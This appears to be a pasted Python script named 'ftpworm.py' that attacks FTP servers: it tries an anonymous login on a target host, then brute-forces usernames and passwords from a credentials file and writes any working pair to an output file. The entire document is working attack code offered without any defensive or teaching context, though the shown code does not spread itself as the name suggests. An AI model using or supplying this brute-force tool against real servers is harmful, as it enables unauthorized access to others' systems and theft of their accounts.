ftpworm.py 2.3 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162
  1. import ftplib
  2. import optparse
  3. def anonLogin(hostname, port, output):
  4. try:
  5. ftp = ftplib.FTP()
  6. ftp.connect(hostname, port)
  7. ftp.login("anonymous", "me@your.com")
  8. with open(output, 'a') as the_file:
  9. the_file.write("\n[*] " + str(hostname) + " FTP Anonymous Logon succeeded.")
  10. ftp.quit()
  11. return True
  12. except Exception as e:
  13. with open(output, 'a') as the_file:
  14. the_file.write("\n[-] " + str(hostname) + " FTP Anonymous Logon failed.")
  15. return False
  16. def bruteLogin(hostname, port, output):
  17. pF = open("ftpcreds.txt", "r")
  18. for line in pF.readlines():
  19. userName = line.split(":")[0]
  20. passWord = line.split(":")[1].strip("\r").strip("\n")
  21. print ("[+] Trying: " + userName + "/"+passWord)
  22. try:
  23. ftp = ftplib.FTP()
  24. ftp.connect(hostname, port)
  25. ftp.login(userName, passWord)
  26. with open(output, 'a') as the_file:
  27. the_file.write("\n[*] " + str(hostname) + " FTP Logon succeeded: " + userName + "/"+passWord)
  28. ftp.quit()
  29. return (userName, passWord)
  30. except Exception as e:
  31. pass
  32. with open(output, 'a') as the_file:
  33. the_file.write("\n[-] Can not brute-force FTP credentials.")
  34. return (None, None)
  35. def main():
  36. parser = optparse.OptionParser("Usage requires -H <target host> -p <port> ")
  37. parser.add_option("-H", dest="tgtHosts", type="string", help="specify the host")
  38. parser.add_option("-p", dest="port", type="int", help="specify port")
  39. parser.add_option("-o", dest="output", type="string", help="output file")
  40. (options, args) = parser.parse_args()
  41. tgtHost = options.tgtHosts
  42. port = options.port
  43. output = options.output
  44. if tgtHost == None:
  45. print(parser.usage)
  46. exit(0)
  47. if anonLogin(tgtHost, port, output) == True:
  48. username = "anonymous"
  49. password = "me@your.com"
  50. else:
  51. bruteLogin(tgtHost, port, output)
  52. if __name__ == "__main__":
  53. main()